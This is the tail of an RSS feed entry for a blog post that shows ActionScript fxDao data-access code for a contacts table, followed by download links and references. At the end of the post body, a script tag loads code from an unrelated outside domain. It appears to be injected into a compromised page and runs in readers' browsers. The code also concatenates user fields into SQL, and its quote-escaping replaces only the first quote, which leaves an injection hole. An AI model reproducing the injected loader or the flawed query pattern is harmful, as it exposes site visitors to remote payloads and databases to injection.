    doExecute<span style="color: #000000;">&#40;</span>query, onReadAll, userHandler<span style="color: #000000;">&#41;</span>;
  <span style="color: #000000;">&#125;</span>
&nbsp;
  <span style="color: #0033ff; font-weight: bold;">private</span> static <span style="color: #339966; font-weight: bold;">function</span> onReadAll<span style="color: #000000;">&#40;</span>event<span style="color: #000000; font-weight: bold;">:</span>ResultEvent, 
                                    userHandler<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Function</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span>
  <span style="color: #000000;">&#123;</span>
    <span style="color: #6699cc; font-weight: bold;">var</span> list<span style="color: #000000; font-weight: bold;">:</span>ArrayCollection = <span style="color: #0033ff; font-weight: bold;">new</span> ArrayCollection<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
    <span style="color: #0033ff; font-weight: bold;">for</span> <span style="color: #0033ff; font-weight: bold;">each</span> <span style="color: #000000;">&#40;</span><span style="color: #6699cc; font-weight: bold;">var</span> row<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">XML</span> <span style="color: #0033ff; font-weight: bold;">in</span> event.result.rs.r<span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
      list.addItem<span style="color: #000000;">&#40;</span><span style="color: #0033ff; font-weight: bold;">new</span> Contact<span style="color: #000000;">&#40;</span>row<span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span>;
    <span style="color: #000000;">&#125;</span>
    <span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span>userHandler <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #0033ff; font-weight: bold;">null</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span> 
      userHandler<span style="color: #000000;">&#40;</span>list<span style="color: #000000;">&#41;</span>;
    <span style="color: #000000;">&#125;</span>
  <span style="color: #000000;">&#125;</span>
&nbsp;
  <span style="color: #009900;">// -----------------------------------</span>
  <span style="color: #009900;">// Update</span>
  <span style="color: #009900;">// -----------------------------------</span>
&nbsp;
  <span style="color: #0033ff; font-weight: bold;">public</span> static <span style="color: #339966; font-weight: bold;">function</span> update<span style="color: #000000;">&#40;</span>obj<span style="color: #000000; font-weight: bold;">:</span>Contact,
                                userHandler<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Function</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span>
  <span style="color: #000000;">&#123;</span>
    <span style="color: #6699cc; font-weight: bold;">var</span> query<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">String</span> = <span style="color: #990000;">&quot;UPDATE contacts SET &quot;</span>
      <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #990000;">&quot;first_name='&quot;</span> <span style="color: #000000; font-weight: bold;">+</span> dquote<span style="color: #000000;">&#40;</span>obj.firstName<span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #990000;">&quot;', &quot;</span>
        <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #990000;">&quot;last_name='&quot;</span> <span style="color: #000000; font-weight: bold;">+</span> dquote<span style="color: #000000;">&#40;</span>obj.lastName<span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #990000;">&quot;', &quot;</span>
        <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #990000;">&quot;email='&quot;</span> <span style="color: #000000; font-weight: bold;">+</span> dquote<span style="color: #000000;">&#40;</span>obj.email<span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #990000;">&quot;' &quot;</span>
        <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #990000;">&quot;WHERE id=&quot;</span> <span style="color: #000000; font-weight: bold;">+</span> obj.id;
    doExecute<span style="color: #000000;">&#40;</span>query, onUpdate, userHandler<span style="color: #000000;">&#41;</span>;
  <span style="color: #000000;">&#125;</span>
&nbsp;
  <span style="color: #0033ff; font-weight: bold;">private</span> static <span style="color: #339966; font-weight: bold;">function</span> onUpdate<span style="color: #000000;">&#40;</span>event<span style="color: #000000; font-weight: bold;">:</span>ResultEvent,
                            userHandler<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Function</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span>
  <span style="color: #000000;">&#123;</span>
    <span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span>userHandler <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #0033ff; font-weight: bold;">null</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
      userHandler<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
    <span style="color: #000000;">&#125;</span>
  <span style="color: #000000;">&#125;</span>
&nbsp;
  <span style="color: #009900;">// -----------------------------------</span>
  <span style="color: #009900;">// Delete</span>
  <span style="color: #009900;">// -----------------------------------  </span>
&nbsp;
  <span style="color: #0033ff; font-weight: bold;">public</span> static <span style="color: #339966; font-weight: bold;">function</span> deleteById<span style="color: #000000;">&#40;</span>id<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span>,
                                userHandler<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Function</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span>
  <span style="color: #000000;">&#123;</span>
    <span style="color: #6699cc; font-weight: bold;">var</span> query<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">String</span> = <span style="color: #990000;">&quot;DELETE FROM contacts WHERE id=&quot;</span> <span style="color: #000000; font-weight: bold;">+</span> id;
    doExecute<span style="color: #000000;">&#40;</span>query, onDeleteById, userHandler<span style="color: #000000;">&#41;</span>;
  <span style="color: #000000;">&#125;</span>
&nbsp;
  <span style="color: #0033ff; font-weight: bold;">private</span> static <span style="color: #339966; font-weight: bold;">function</span> onDeleteById<span style="color: #000000;">&#40;</span>event<span style="color: #000000; font-weight: bold;">:</span>ResultEvent,
                                       userHandler<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Function</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span>
  <span style="color: #000000;">&#123;</span>
    <span style="color: #0033ff; font-weight: bold;">if</span> <span style="color: #000000;">&#40;</span>userHandler <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #0033ff; font-weight: bold;">null</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
      userHandler<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
    <span style="color: #000000;">&#125;</span>
  <span style="color: #000000;">&#125;</span>
&nbsp;
  <span style="color: #009900;">// -------------------------------------------------------------------------</span>
  <span style="color: #009900;">//</span>
  <span style="color: #009900;">// Private methods</span>
  <span style="color: #009900;">//</span>
  <span style="color: #009900;">// -------------------------------------------------------------------------</span>
&nbsp;
  <span style="color: #3f5fbf;">/**
   * Execute given query.
   */</span>
  <span style="color: #0033ff; font-weight: bold;">private</span> static <span style="color: #339966; font-weight: bold;">function</span> doExecute<span style="color: #000000;">&#40;</span>query<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">String</span>, 
                                    resultHandler<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Function</span>, 
                                    userHandler<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Function</span> = <span style="color: #0033ff; font-weight: bold;">null</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #0033ff; font-weight: bold;">void</span>
  <span style="color: #000000;">&#123;</span>
    CursorManager.setBusyCursor<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
    <span style="color: #6699cc; font-weight: bold;">var</span> params<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Object</span> = <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Object</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
    params.query = query;
    params.checksum = FxDaoUtils.calculateChecksum<span style="color: #000000;">&#40;</span>query<span style="color: #000000;">&#41;</span>;
    <span style="color: #6699cc; font-weight: bold;">var</span> token<span style="color: #000000; font-weight: bold;">:</span>AsyncToken = FxDaoUtils.service.<span style="color: #004993;">send</span><span style="color: #000000;">&#40;</span>params<span style="color: #000000;">&#41;</span>;
    token.myData = <span style="color: #000000;">&#123;</span>resultHandler<span style="color: #000000; font-weight: bold;">:</span> resultHandler, userHandler<span style="color: #000000; font-weight: bold;">:</span>userHandler<span style="color: #000000;">&#125;</span>;
  <span style="color: #000000;">&#125;</span>
&nbsp;
  <span style="color: #3f5fbf;">/**
   * Double quotes in given string.
   */</span>
  <span style="color: #0033ff; font-weight: bold;">private</span> static <span style="color: #339966; font-weight: bold;">function</span> dquote<span style="color: #000000;">&#40;</span><span style="color: #004993;">value</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">String</span><span style="color: #000000;">&#41;</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">String</span>
  <span style="color: #000000;">&#123;</span>
    <span style="color: #0033ff; font-weight: bold;">return</span> <span style="color: #004993;">value</span>.<span style="color: #004993;">replace</span><span style="color: #000000;">&#40;</span><span style="color: #990000;">&quot;'&quot;</span>, <span style="color: #990000;">&quot;''&quot;</span><span style="color: #000000;">&#41;</span>;
  <span style="color: #000000;">&#125;</span>
&nbsp;
<span style="color: #000000;">&#125;</span>
<span style="color: #000000;">&#125;</span></pre></td></tr></table></div>

<p>You can download the full source code of the example on the fxDao Google Code project home.</p>
<p>If you like fxDao and want to contribute in any way feel free to submit your request! Any kind of help will be appreciated.</p>
<h3>References</h3>
<ul>
<li><a title="fxDao" href="http://code.google.com/p/fxdao/">fxDao</a> on Google Code</li>
<li><a title="AS3FlexDB" href="http://code.google.com/p/as3flexdb/">AS3FlexDB</a> on Google Code</li>
</ul>
<p> <script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.myflexiblelife.com/2009/08/03/a-very-quick-and-simple-fxdao-example/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
